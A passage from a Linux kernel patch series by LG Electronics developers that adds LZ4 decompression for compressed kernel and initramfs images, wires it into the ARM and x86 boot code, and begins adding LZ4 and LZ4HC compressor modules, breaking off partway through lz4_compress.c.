100644 index 0000000000000..43ac31d63f364 --- /dev/null +++ b/lib/lz4/lz4defs.h @@ -0,0 +1,94 @@ +/* + * lz4defs.h -- architecture specific defines + * + * Copyright (C) 2013, LG Electronics, Kyungsik Lee + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + */ + +/* + * Detects 64 bits mode + */ +#if (defined(__x86_64__) || defined(__x86_64) || defined(__amd64__) \ + || defined(__ppc64__) || defined(__LP64__)) +#define LZ4_ARCH64 1 +#else +#define LZ4_ARCH64 0 +#endif + +/* + * Architecture-specific macros + */ +#define BYTE u8 +#if defined(CONFIG_HAVE_EFFICIENT_UNALIGNED_ACCESS) \ + || defined(CONFIG_ARM) && __LINUX_ARM_ARCH__ >= 6 \ + && defined(ARM_EFFICIENT_UNALIGNED_ACCESS) +typedef struct _U32_S { u32 v; } U32_S; +typedef struct _U64_S { u64 v; } U64_S; + +#define A32(x) (((U32_S *)(x))->v) +#define A64(x) (((U64_S *)(x))->v) + +#define PUT4(s, d) (A32(d) = A32(s)) +#define PUT8(s, d) (A64(d) = A64(s)) +#else /* CONFIG_HAVE_EFFICIENT_UNALIGNED_ACCESS */ + +#define PUT4(s, d) \ + put_unaligned(get_unaligned((const u32 *) s), (u32 *) d) +#define PUT8(s, d) \ + put_unaligned(get_unaligned((const u64 *) s), (u64 *) d) +#endif + +#define COPYLENGTH 8 +#define ML_BITS 4 +#define ML_MASK ((1U << ML_BITS) - 1) +#define RUN_BITS (8 - ML_BITS) +#define RUN_MASK ((1U << RUN_BITS) - 1) + +#if LZ4_ARCH64/* 64-bit */ +#define STEPSIZE 8 + +#define LZ4_COPYSTEP(s, d) \ + do { \ + PUT8(s, d); \ + d += 8; \ + s += 8; \ + } while (0) + +#define LZ4_COPYPACKET(s, d) LZ4_COPYSTEP(s, d) + +#define LZ4_SECURECOPY(s, d, e) \ + do { \ + if (d < e) { \ + LZ4_WILDCOPY(s, d, e); \ + } \ + } while (0) + +#else /* 32-bit */ +#define STEPSIZE 4 + +#define LZ4_COPYSTEP(s, d) \ + do { \ + PUT4(s, d); \ + d += 4; \ + s += 4; \ + } while (0) + +#define LZ4_COPYPACKET(s, d) \ + do { \ + LZ4_COPYSTEP(s, d); \ + LZ4_COPYSTEP(s, d); \ + } while (0) + +#define LZ4_SECURECOPY LZ4_WILDCOPY +#endif + +#define LZ4_READ_LITTLEENDIAN_16(d, s, p) \ + (d = s - get_unaligned_le16(p)) + +#define LZ4_WILDCOPY(s, d, e) \ + do { \ + LZ4_COPYPACKET(s, d); \ + } while (d < e) From 414b3e23805e8a49457214d0ff33a3e8b001957e Mon Sep 17 00:00:00 2001 From: Kyungsik Lee Date: Mon, 8 Jul 2013 16:01:46 -0700 Subject: [PATCH 004/365] lib: add support for LZ4-compressed kernel Add support for extracting LZ4-compressed kernel images, as well as LZ4-compressed ramdisk images in the kernel boot process. Change-Id: I276e53c72fc3ab6afc65326d4445e38e8a0cb77b Signed-off-by: Kyungsik Lee Cc: "H. Peter Anvin" Cc: Ingo Molnar Cc: Thomas Gleixner Cc: Russell King Cc: Borislav Petkov Cc: Florian Fainelli Cc: Yann Collet Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds --- include/linux/decompress/unlz4.h | 10 ++ init/Kconfig | 17 ++- lib/Kconfig | 7 ++ lib/Makefile | 2 + lib/decompress.c | 5 + lib/decompress_unlz4.c | 187 +++++++++++++++++++++++++++++++ lib/lz4/Makefile | 1 + lib/lz4/lz4_decompress.c | 2 +- scripts/Makefile.lib | 5 + usr/Kconfig | 9 ++ 10 files changed, 243 insertions(+), 2 deletions(-) create mode 100644 include/linux/decompress/unlz4.h create mode 100644 lib/decompress_unlz4.c create mode 100644 lib/lz4/Makefile diff --git a/include/linux/decompress/unlz4.h b/include/linux/decompress/unlz4.h new file mode 100644 index 0000000000000..d5b68bf3ec92a --- /dev/null +++ b/include/linux/decompress/unlz4.h @@ -0,0 +1,10 @@ +#ifndef DECOMPRESS_UNLZ4_H +#define DECOMPRESS_UNLZ4_H + +int unlz4(unsigned char *inbuf, int len, + int(*fill)(void*, unsigned int), + int(*flush)(void*, unsigned int), + unsigned char *output, + int *pos, + void(*error)(char *x)); +#endif diff --git a/init/Kconfig b/init/Kconfig index 6573f2c654d2e..02fe44bfbf74a 100644 --- a/init/Kconfig +++ b/init/Kconfig @@ -98,10 +98,13 @@ config HAVE_KERNEL_XZ config HAVE_KERNEL_LZO bool +config HAVE_KERNEL_LZ4 + bool + choice prompt "Kernel compression mode" default KERNEL_GZIP - depends on HAVE_KERNEL_GZIP || HAVE_KERNEL_BZIP2 || HAVE_KERNEL_LZMA || HAVE_KERNEL_XZ || HAVE_KERNEL_LZO + depends on HAVE_KERNEL_GZIP || HAVE_KERNEL_BZIP2 || HAVE_KERNEL_LZMA || HAVE_KERNEL_XZ || HAVE_KERNEL_LZO || HAVE_KERNEL_LZ4 help The linux kernel is a kind of self-extracting executable. Several compression algorithms are available, which differ @@ -168,6 +171,18 @@ config KERNEL_LZO size is about 10% bigger than gzip; however its speed (both compression and decompression) is the fastest. +config KERNEL_LZ4 + bool "LZ4" + depends on HAVE_KERNEL_LZ4 + help + LZ4 is an LZ77-type compressor with a fixed, byte-oriented encoding. + A preliminary version of LZ4 de/compression tool is available at + . + + Its compression ratio is worse than LZO. The size of the kernel + is about 8% bigger than LZO. But the decompression speed is + faster than LZO. + endchoice config DEFAULT_HOSTNAME diff --git a/lib/Kconfig b/lib/Kconfig index d9c307dd8fc0e..552fb19b83921 100644 --- a/lib/Kconfig +++ b/lib/Kconfig @@ -189,6 +189,9 @@ config LZO_COMPRESS config LZO_DECOMPRESS tristate +config LZ4_DECOMPRESS + tristate + source "lib/xz/Kconfig" # @@ -213,6 +216,10 @@ config DECOMPRESS_LZO select LZO_DECOMPRESS tristate +config DECOMPRESS_LZ4 + select LZ4_DECOMPRESS + tristate + # # Generic allocator support is selected if needed # diff --git a/lib/Makefile b/lib/Makefile index 86572b4565b50..2a9e65d004628 100644 --- a/lib/Makefile +++ b/lib/Makefile @@ -76,6 +76,7 @@ obj-$(CONFIG_REED_SOLOMON) += reed_solomon/ obj-$(CONFIG_BCH) += bch.o obj-$(CONFIG_LZO_COMPRESS) += lzo/ obj-$(CONFIG_LZO_DECOMPRESS) += lzo/ +obj-$(CONFIG_LZ4_DECOMPRESS) += lz4/ obj-$(CONFIG_XZ_DEC) += xz/ obj-$(CONFIG_RAID6_PQ) += raid6/ @@ -84,6 +85,7 @@ lib-$(CONFIG_DECOMPRESS_BZIP2) += decompress_bunzip2.o lib-$(CONFIG_DECOMPRESS_LZMA) += decompress_unlzma.o lib-$(CONFIG_DECOMPRESS_XZ) += decompress_unxz.o lib-$(CONFIG_DECOMPRESS_LZO) += decompress_unlzo.o +lib-$(CONFIG_DECOMPRESS_LZ4) += decompress_unlz4.o obj-$(CONFIG_TEXTSEARCH) += textsearch.o obj-$(CONFIG_TEXTSEARCH_KMP) += ts_kmp.o diff --git a/lib/decompress.c b/lib/decompress.c index f8fdedaf7b3de..4d1cd0397aab0 100644 --- a/lib/decompress.c +++ b/lib/decompress.c @@ -11,6 +11,7 @@ #include #include #include +#include #include #include @@ -31,6 +32,9 @@ #ifndef CONFIG_DECOMPRESS_LZO # define unlzo NULL #endif +#ifndef CONFIG_DECOMPRESS_LZ4 +# define unlz4 NULL +#endif struct compress_format { unsigned char magic[2]; @@ -45,6 +49,7 @@ static const struct compress_format compressed_formats[] __initconst = { { {0x5d, 0x00}, "lzma", unlzma }, { {0xfd, 0x37}, "xz", unxz }, { {0x89, 0x4c}, "lzo", unlzo }, + { {0x02, 0x21}, "lz4", unlz4 }, { {0, 0}, NULL, NULL } }; diff --git a/lib/decompress_unlz4.c b/lib/decompress_unlz4.c new file mode 100644 index 0000000000000..3e67cfad16ad5 --- /dev/null +++ b/lib/decompress_unlz4.c @@ -0,0 +1,187 @@ +/* + * Wrapper for decompressing LZ4-compressed kernel, initramfs, and initrd + * + * Copyright (C) 2013, LG Electronics, Kyungsik Lee + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + */ + +#ifdef STATIC +#define PREBOOT +#include "lz4/lz4_decompress.c" +#else +#include +#endif +#include +#include +#include +#include + +#include + +/* + * Note: Uncompressed chunk size is used in the compressor side + * (userspace side for compression). + * It is hardcoded because there is not proper way to extract it + * from the binary stream which is generated by the preliminary + * version of LZ4 tool so far. + */ +#define LZ4_DEFAULT_UNCOMPRESSED_CHUNK_SIZE (8 << 20) +#define ARCHIVE_MAGICNUMBER 0x184C2102 + +STATIC inline int INIT unlz4(u8 *input, int in_len, + int (*fill) (void *, unsigned int), + int (*flush) (void *, unsigned int), + u8 *output, int *posp, + void (*error) (char *x)) +{ + int ret = -1; + size_t chunksize = 0; + size_t uncomp_chunksize = LZ4_DEFAULT_UNCOMPRESSED_CHUNK_SIZE; + u8 *inp; + u8 *inp_start; + u8 *outp; + int size = in_len; +#ifdef PREBOOT + size_t out_len = get_unaligned_le32(input + in_len); +#endif + size_t dest_len; + + + if (output) { + outp = output; + } else if (!flush) { + error("NULL output pointer and no flush function provided"); + goto exit_0; + } else { + outp = large_malloc(uncomp_chunksize); + if (!outp) { + error("Could not allocate output buffer"); + goto exit_0; + } + } + + if (input && fill) { + error("Both input pointer and fill function provided,"); + goto exit_1; + } else if (input) { + inp = input; + } else if (!fill) { + error("NULL input pointer and missing fill function"); + goto exit_1; + } else { + inp = large_malloc(lz4_compressbound(uncomp_chunksize)); + if (!inp) { + error("Could not allocate input buffer"); + goto exit_1; + } + } + inp_start = inp; + + if (posp) + *posp = 0; + + if (fill) + fill(inp, 4); + + chunksize = get_unaligned_le32(inp); + if (chunksize == ARCHIVE_MAGICNUMBER) { + inp += 4; + size -= 4; + } else { + error("invalid header"); + goto exit_2; + } + + if (posp) + *posp += 4; + + for (;;) { + + if (fill) + fill(inp, 4); + + chunksize = get_unaligned_le32(inp); + if (chunksize == ARCHIVE_MAGICNUMBER) { + inp += 4; + size -= 4; + if (posp) + *posp += 4; + continue; + } + inp += 4; + size -= 4; + + if (posp) + *posp += 4; + + if (fill) { + if (chunksize > lz4_compressbound(uncomp_chunksize)) { + error("chunk length is longer than allocated"); + goto exit_2; + } + fill(inp, chunksize); + } +#ifdef PREBOOT + if (out_len >= uncomp_chunksize) { + dest_len = uncomp_chunksize; + out_len -= dest_len; + } else + dest_len = out_len; + ret = lz4_decompress(inp, &chunksize, outp, dest_len); +#else + dest_len = uncomp_chunksize; + ret = lz4_decompress_unknownoutputsize(inp, chunksize, outp, + &dest_len); +#endif + if (ret < 0) { + error("Decoding failed"); + goto exit_2; + } + + if (flush && flush(outp, dest_len) != dest_len) + goto exit_2; + if (output) + outp += dest_len; + if (posp) + *posp += chunksize; + + size -= chunksize; + + if (size == 0) + break; + else if (size < 0) { + error("data corrupted"); + goto exit_2; + } + + inp += chunksize; + if (fill) + inp = inp_start; + } + + ret = 0; +exit_2: + if (!input) + large_free(inp_start); +exit_1: + if (!output) + large_free(outp); +exit_0: + return ret; +} + +#ifdef PREBOOT +STATIC int INIT decompress(unsigned char *buf, int in_len, + int(*fill)(void*, unsigned int), + int(*flush)(void*, unsigned int), + unsigned char *output, + int *posp, + void(*error)(char *x) + ) +{ + return unlz4(buf, in_len - 4, fill, flush, output, posp, error); +} +#endif diff --git a/lib/lz4/Makefile b/lib/lz4/Makefile new file mode 100644 index 0000000000000..7f548c6d1c5c6 --- /dev/null +++ b/lib/lz4/Makefile @@ -0,0 +1 @@ +obj-$(CONFIG_LZ4_DECOMPRESS) += lz4_decompress.o diff --git a/lib/lz4/lz4_decompress.c b/lib/lz4/lz4_decompress.c index dcc89753af653..d3414eae73a1d 100644 --- a/lib/lz4/lz4_decompress.c +++ b/lib/lz4/lz4_decompress.c @@ -1,7 +1,7 @@ /* * LZ4 Decompressor for Linux kernel * - * Copyright (C) 2013 LG Electronics Co., Ltd. (http://www.lge.com/) + * Copyright (C) 2013, LG Electronics, Kyungsik Lee * * Based on LZ4 implementation by Yann Collet. * diff --git a/scripts/Makefile.lib b/scripts/Makefile.lib index ef2142a615931..dda9d0d201cd8 100644 --- a/scripts/Makefile.lib +++ b/scripts/Makefile.lib @@ -317,6 +317,11 @@ cmd_lzo = (cat $(filter-out FORCE,$^) | \ lzop -9 && $(call size_append, $(filter-out FORCE,$^))) > $@ || \ (rm -f $@ ; false) +quiet_cmd_lz4 = LZ4 $@ +cmd_lz4 = (cat $(filter-out FORCE,$^) | \ + lz4c -l -c1 stdin stdout && $(call size_append, $(filter-out FORCE,$^))) > $@ || \ + (rm -f $@ ; false) + # U-Boot mkimage # --------------------------------------------------------------------------- diff --git a/usr/Kconfig b/usr/Kconfig index 085872bb2bb59..642f503d3e9f6 100644 --- a/usr/Kconfig +++ b/usr/Kconfig @@ -90,6 +90,15 @@ config RD_LZO Support loading of a LZO encoded initial ramdisk or cpio buffer If unsure, say N. +config RD_LZ4 + bool "Support initial ramdisks compressed using LZ4" if EXPERT + default !EXPERT + depends on BLK_DEV_INITRD + select DECOMPRESS_LZ4 + help + Support loading of a LZ4 encoded initial ramdisk or cpio buffer + If unsure, say N. + choice prompt "Built-in initramfs compression mode" if INITRAMFS_SOURCE!="" help From f5ec430d97f41d24cc4700e6a535759fccbec600 Mon Sep 17 00:00:00 2001 From: Kyungsik Lee Date: Mon, 8 Jul 2013 16:01:48 -0700 Subject: [PATCH 005/365] arm: add support for LZ4-compressed kernel Integrates the LZ4 decompression code to the arm pre-boot code. Change-Id: I96338df45b68cbcfd45607b535f087930266ca4f Signed-off-by: Kyungsik Lee Cc: "H. Peter Anvin" Cc: Ingo Molnar Cc: Thomas Gleixner Cc: Russell King Cc: Borislav Petkov Cc: Florian Fainelli Cc: Yann Collet Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds --- Documentation/x86/boot.txt | 7 ++++--- arch/arm/Kconfig | 1 + arch/arm/boot/compressed/.gitignore | 1 + arch/arm/boot/compressed/Makefile | 3 ++- arch/arm/boot/compressed/decompress.c | 4 ++++ arch/arm/boot/compressed/piggy.lz4.S | 6 ++++++ arch/x86/Kconfig | 1 + arch/x86/boot/compressed/Makefile | 6 +++++- arch/x86/boot/compressed/misc.c | 4 ++++ 9 files changed, 28 insertions(+), 5 deletions(-) create mode 100644 arch/arm/boot/compressed/piggy.lz4.S diff --git a/Documentation/x86/boot.txt b/Documentation/x86/boot.txt index 3840b6f28afb4..fc66d42422eef 100644 --- a/Documentation/x86/boot.txt +++ b/Documentation/x86/boot.txt @@ -657,9 +657,10 @@ Protocol: 2.08+ uncompressed data should be determined using the standard magic numbers. The currently supported compression formats are gzip (magic numbers 1F 8B or 1F 9E), bzip2 (magic number 42 5A), LZMA - (magic number 5D 00), and XZ (magic number FD 37). The uncompressed - payload is currently always ELF (magic number 7F 45 4C 46). - + (magic number 5D 00), XZ (magic number FD 37), and LZ4 (magic number + 02 21). The uncompressed payload is currently always ELF (magic + number 7F 45 4C 46). + Field name: payload_length Type: read Offset/size: 0x24c/4 diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig index 81b50df4ccd18..1250889b5978c 100644 --- a/arch/arm/Kconfig +++ b/arch/arm/Kconfig @@ -41,6 +41,7 @@ config ARM select HAVE_IDE if PCI || ISA || PCMCIA select HAVE_IRQ_TIME_ACCOUNTING select HAVE_KERNEL_GZIP + select HAVE_KERNEL_LZ4 select HAVE_KERNEL_LZMA select HAVE_KERNEL_LZO select HAVE_KERNEL_XZ diff --git a/arch/arm/boot/compressed/.gitignore b/arch/arm/boot/compressed/.gitignore index f79a08efe000a..47279aa96a6a4 100644 --- a/arch/arm/boot/compressed/.gitignore +++ b/arch/arm/boot/compressed/.gitignore @@ -6,6 +6,7 @@ piggy.gzip piggy.lzo piggy.lzma piggy.xzkern +piggy.lz4 vmlinux vmlinux.lds diff --git a/arch/arm/boot/compressed/Makefile b/arch/arm/boot/compressed/Makefile index 120b83bfde20e..13499a8251e75 100644 --- a/arch/arm/boot/compressed/Makefile +++ b/arch/arm/boot/compressed/Makefile @@ -91,6 +91,7 @@ suffix_$(CONFIG_KERNEL_GZIP) = gzip suffix_$(CONFIG_KERNEL_LZO) = lzo suffix_$(CONFIG_KERNEL_LZMA) = lzma suffix_$(CONFIG_KERNEL_XZ) = xzkern +suffix_$(CONFIG_KERNEL_LZ4) = lz4 # Borrowed libfdt files for the ATAG compatibility mode @@ -115,7 +116,7 @@ targets := vmlinux vmlinux.lds \ font.o font.c head.o misc.o $(OBJS) # Make sure files are removed during clean -extra-y += piggy.gzip piggy.lzo piggy.lzma piggy.xzkern \ +extra-y += piggy.gzip piggy.lzo piggy.lzma piggy.xzkern piggy.lz4 \ lib1funcs.S ashldi3.S $(libfdt) $(libfdt_hdrs) \ hyp-stub.S diff --git a/arch/arm/boot/compressed/decompress.c b/arch/arm/boot/compressed/decompress.c index 24b0475cb8bf0..bd245d34952d2 100644 --- a/arch/arm/boot/compressed/decompress.c +++ b/arch/arm/boot/compressed/decompress.c @@ -51,6 +51,10 @@ extern char * strstr(const char * s1, const char *s2); #include "../../../../lib/decompress_unxz.c" #endif +#ifdef CONFIG_KERNEL_LZ4 +#include "../../../../lib/decompress_unlz4.c" +#endif + int do_decompress(u8 *input, int len, u8 *output, void (*error)(char *x)) { return decompress(input, len, NULL, NULL, output, NULL, error); diff --git a/arch/arm/boot/compressed/piggy.lz4.S b/arch/arm/boot/compressed/piggy.lz4.S new file mode 100644 index 0000000000000..3d9a575618a3e --- /dev/null +++ b/arch/arm/boot/compressed/piggy.lz4.S @@ -0,0 +1,6 @@ + .section .piggydata,#alloc + .globl input_data +input_data: + .incbin "arch/arm/boot/compressed/piggy.lz4" + .globl input_data_end +input_data_end: diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig index 70264a73c79a4..a4674fa156019 100644 --- a/arch/x86/Kconfig +++ b/arch/x86/Kconfig @@ -65,6 +65,7 @@ config X86 select HAVE_KERNEL_LZMA select HAVE_KERNEL_XZ select HAVE_KERNEL_LZO + select HAVE_KERNEL_LZ4 select HAVE_HW_BREAKPOINT select HAVE_MIXED_BREAKPOINTS_REGS select PERF_EVENTS diff --git a/arch/x86/boot/compressed/Makefile b/arch/x86/boot/compressed/Makefile index 7194d9f094bc4..c8a6792e78423 100644 --- a/arch/x86/boot/compressed/Makefile +++ b/arch/x86/boot/compressed/Makefile @@ -4,7 +4,8 @@ # create a compressed vmlinux image from the original vmlinux # -targets := vmlinux vmlinux.bin vmlinux.bin.gz vmlinux.bin.bz2 vmlinux.bin.lzma vmlinux.bin.xz vmlinux.bin.lzo +targets := vmlinux vmlinux.bin vmlinux.bin.gz vmlinux.bin.bz2 vmlinux.bin.lzma \ + vmlinux.bin.xz vmlinux.bin.lzo vmlinux.bin.lz4 KBUILD_CFLAGS := -m$(BITS) -D__KERNEL__ $(LINUX_INCLUDE) -O2 KBUILD_CFLAGS += -fno-strict-aliasing -fPIC @@ -64,12 +65,15 @@ $(obj)/vmlinux.bin.xz: $(vmlinux.bin.all-y) FORCE $(call if_changed,xzkern) $(obj)/vmlinux.bin.lzo: $(vmlinux.bin.all-y) FORCE $(call if_changed,lzo) +$(obj)/vmlinux.bin.lz4: $(vmlinux.bin.all-y) FORCE + $(call if_changed,lz4) suffix-$(CONFIG_KERNEL_GZIP) := gz suffix-$(CONFIG_KERNEL_BZIP2) := bz2 suffix-$(CONFIG_KERNEL_LZMA) := lzma suffix-$(CONFIG_KERNEL_XZ) := xz suffix-$(CONFIG_KERNEL_LZO) := lzo +suffix-$(CONFIG_KERNEL_LZ4) := lz4 quiet_cmd_mkpiggy = MKPIGGY $@ cmd_mkpiggy = $(obj)/mkpiggy $< > $@ || ( rm -f $@ ; false ) diff --git a/arch/x86/boot/compressed/misc.c b/arch/x86/boot/compressed/misc.c index 7cb56c6ca3515..0319c88290a52 100644 --- a/arch/x86/boot/compressed/misc.c +++ b/arch/x86/boot/compressed/misc.c @@ -145,6 +145,10 @@ static int lines, cols; #include "../../../../lib/decompress_unlzo.c" #endif +#ifdef CONFIG_KERNEL_LZ4 +#include "../../../../lib/decompress_unlz4.c" +#endif + static void scroll(void) { int i; From 733cd40f7c3fe571e22127d238c561b1a0933c38 Mon Sep 17 00:00:00 2001 From: Chanho Min Date: Mon, 8 Jul 2013 16:01:49 -0700 Subject: [PATCH 006/365] lib: add lz4 compressor module This patchset is for supporting LZ4 compression and the crypto API using it. As shown below, the size of data is a little bit bigger but compressing speed is faster under the enabled unaligned memory access. We can use lz4 de/compression through crypto API as well. Also, It will be useful for another potential user of lz4 compression. lz4 Compression Benchmark: Compiler: ARM gcc 4.6.4 ARMv7, 1 GHz based board Kernel: linux 3.4 Uncompressed data Size: 101 MB Compressed Size compression Speed LZO 72.1MB 32.1MB/s, 33.0MB/s(UA) LZ4 75.1MB 30.4MB/s, 35.9MB/s(UA) LZ4HC 59.8MB 2.4MB/s, 2.5MB/s(UA) - UA: Unaligned memory Access support - Latest patch set for LZO applied This patch: Add support for LZ4 compression in the Linux Kernel. LZ4 Compression APIs for kernel are based on LZ4 implementation by Yann Collet and were changed for kernel coding style. LZ4 homepage : http://fastcompression.blogspot.com/p/lz4.html LZ4 source repository : http://code.google.com/p/lz4/ svn revision : r90 Two APIs are added: lz4_compress() support basic lz4 compression whereas lz4hc_compress() support high compression or CPU performance get lower but compression ratio get higher. Also, we require the pre-allocated working memory with the defined size and destination buffer must be allocated with the size of lz4_compressbound. [akpm@linux-foundation.org: make lz4_compresshcctx() static] Signed-off-by: Chanho Min Cc: "Darrick J. Wong" Cc: Bob Pearson Cc: Richard Weinberger Cc: Herbert Xu Cc: Yann Collet Cc: Kyungsik Lee Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Change-Id: Iedb8562bae1d0982e5faafbd473b015f3f982e00 --- include/linux/lz4.h | 36 +++ lib/Kconfig | 6 + lib/Makefile | 2 + lib/lz4/Makefile | 2 + lib/lz4/lz4_compress.c | 443 ++++++++++++++++++++++++++++++++ lib/lz4/lz4defs.h | 66 ++++- lib/lz4/lz4hc_compress.c | 539 +++++++++++++++++++++++++++++++++++++++ 7 files changed, 1092 insertions(+), 2 deletions(-) create mode 100644 lib/lz4/lz4_compress.c create mode 100644 lib/lz4/lz4hc_compress.c diff --git a/include/linux/lz4.h b/include/linux/lz4.h index 7f6c75a093f87..d21c13f10a647 100644 --- a/include/linux/lz4.h +++ b/include/linux/lz4.h @@ -9,6 +9,8 @@ * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. */ +#define LZ4_MEM_COMPRESS (4096 * sizeof(unsigned char *)) +#define LZ4HC_MEM_COMPRESS (65538 * sizeof(unsigned char *)) /* * lz4_compressbound() @@ -20,6 +22,40 @@ static inline size_t lz4_compressbound(size_t isize) return isize + (isize / 255) + 16; } +/* + * lz4_compress() + * src : source address of the original data + * src_len : size of the original data + * dst : output buffer address of the compressed data + * This requires 'dst' of size LZ4_COMPRESSBOUND. + * dst_len : is the output size, which is returned after compress done + * workmem : address of the working memory. + * This requires 'workmem' of size LZ4_MEM_COMPRESS. + * return : Success if return 0 + * Error if return (< 0) + * note : Destination buffer and workmem must be already allocated with + * the defined size. + */ +int lz4_compress(const unsigned char *src, size_t src_len, + unsigned char *dst, size_t *dst_len, void *wrkmem); + + /* + * lz4hc_compress() + * src : source address of the original data + * src_len : size of the original data + * dst : output buffer address of the compressed data + * This requires 'dst' of size LZ4_COMPRESSBOUND. + * dst_len : is the output size, which is returned after compress done + * workmem : address of the working memory. + * This requires 'workmem' of size LZ4HC_MEM_COMPRESS. + * return : Success if return 0 + * Error if return (< 0) + * note : Destination buffer and workmem must be already allocated with + * the defined size. + */ +int lz4hc_compress(const unsigned char *src, size_t src_len, + unsigned char *dst, size_t *dst_len, void *wrkmem); + /* * lz4_decompress() * src : source address of the compressed data diff --git a/lib/Kconfig b/lib/Kconfig index 552fb19b83921..de6699a55e9d5 100644 --- a/lib/Kconfig +++ b/lib/Kconfig @@ -189,6 +189,12 @@ config LZO_COMPRESS config LZO_DECOMPRESS tristate +config LZ4_COMPRESS + tristate + +config LZ4HC_COMPRESS + tristate + config LZ4_DECOMPRESS tristate diff --git a/lib/Makefile b/lib/Makefile index 2a9e65d004628..5dd3fed4b1140 100644 --- a/lib/Makefile +++ b/lib/Makefile @@ -76,6 +76,8 @@ obj-$(CONFIG_REED_SOLOMON) += reed_solomon/ obj-$(CONFIG_BCH) += bch.o obj-$(CONFIG_LZO_COMPRESS) += lzo/ obj-$(CONFIG_LZO_DECOMPRESS) += lzo/ +obj-$(CONFIG_LZ4_COMPRESS) += lz4/ +obj-$(CONFIG_LZ4HC_COMPRESS) += lz4/ obj-$(CONFIG_LZ4_DECOMPRESS) += lz4/ obj-$(CONFIG_XZ_DEC) += xz/ obj-$(CONFIG_RAID6_PQ) += raid6/ diff --git a/lib/lz4/Makefile b/lib/lz4/Makefile index 7f548c6d1c5c6..8085d04e93091 100644 --- a/lib/lz4/Makefile +++ b/lib/lz4/Makefile @@ -1 +1,3 @@ +obj-$(CONFIG_LZ4_COMPRESS) += lz4_compress.o +obj-$(CONFIG_LZ4HC_COMPRESS) += lz4hc_compress.o obj-$(CONFIG_LZ4_DECOMPRESS) += lz4_decompress.o diff --git a/lib/lz4/lz4_compress.c b/lib/lz4/lz4_compress.c new file mode 100644 index 0000000000000..fd94058bd7f94 --- /dev/null +++ b/lib/lz4/lz4_compress.c @@ -0,0 +1,443 @@ +/* + * LZ4 - Fast LZ compression algorithm + * Copyright (C) 2011-2012, Yann Collet. + * BSD 2-Clause License (http://www.opensource.org/licenses/bsd-license.php) + + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are + * met: + * + * * Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above + * copyright notice, this list of conditions and the following disclaimer + * in the documentation and/or other materials provided with the + * distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT + * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * You can contact the author at : + * - LZ4 homepage : http://fastcompression.blogspot.com/p/lz4.html + * - LZ4 source repository : http://code.google.com/p/lz4/ + * + * Changed for kernel use by: + * Chanho Min + */ + +#include +#include +#include +#include +#include "lz4defs.h" + +/* + * LZ4_compressCtx : + * ----------------- + * Compress 'isize' bytes from 'source' into an output buffer 'dest' of + * maximum size 'maxOutputSize'. * If it cannot achieve it, compression + * will stop, and result of the function will be zero. + * return : the number of bytes written in buffer 'dest', or 0 if the + * compression fails + */ +static inline int lz4_compressctx(void *ctx, + const char *source, + char *dest, + int isize, + int maxoutputsize) +{ + HTYPE *hashtable = (HTYPE *)ctx; + const u8 *ip = (u8 *)source; +#if LZ4_ARCH64 + const BYTE * const base = ip; +#else + const int base = 0; +#endif + const u8 *anchor = ip; + const u8 *const iend = ip + isize; + const u8 *const mflimit = iend - MFLIMIT; + #define MATCHLIMIT (iend - LASTLITERALS) + + u8 *op = (u8 *) dest; + u8 *const oend = op + maxoutputsize; + int length; + const int skipstrength = SKIPSTRENGTH; + u32 forwardh; + int lastrun; + + /* Init */ + if (isize < MINLENGTH) + goto _last_literals; + + memset((void *)hashtable, 0, LZ4_MEM_COMPRESS); + + /* First Byte */ + hashtable[LZ4_HASH_VALUE(ip)] = ip - base; + ip++; + forwardh = LZ4_HASH_VALUE(ip); + + /* Main Loop */ + for (;;) { + int findmatchattempts = (1U << skipstrength) + 3; + const u8 *forwardip = ip; + const u8 *ref; + u8 *token; + + /* Find a match */ + do { + u32 h = forwardh; + int step = findmatchattempts++ >> skipstrength; + ip = forwardip; + forwardip = ip + step; + + if (unlikely(forwardip > mflimit)) + goto _last_literals; + + forwardh = LZ4_HASH_VALUE(forwardip); + ref = base + hashtable[h]; + hashtable[h] = ip - base; + } while ((ref < ip - MAX_DISTANCE) || (A32(ref) != A32(ip))); + + /* Catch up */ + while ((ip > anchor) && (ref > (u8 *)source) && + unlikely(ip[-1] == ref[-1])) { + ip--; + ref--; + } + + /* Encode Literal length */ + length = (int)(ip - anchor); + token = op++; + /* check output limit */ + if (unlikely(op + length + (2 + 1 + LASTLITERALS) + + (length >> 8) > oend)) + return 0; + + if (length >= (int)RUN_MASK) { + int len; + *token = (RUN_MASK << ML_BITS); + len = length - RUN_MASK; + for (; len > 254 ; len -= 255) + *op++ = 255; + *op++ = (u8)len; + } else + *token = (length << ML_BITS); + + /* Copy Literals */ + LZ4_BLINDCOPY(anchor, op, length); +_next_match: + /* Encode Offset */ + LZ4_WRITE_LITTLEENDIAN_16(op, (u16)(ip - ref)); + + /* Start Counting */ + ip += MINMATCH; + /* MinMatch verified */ + ref += 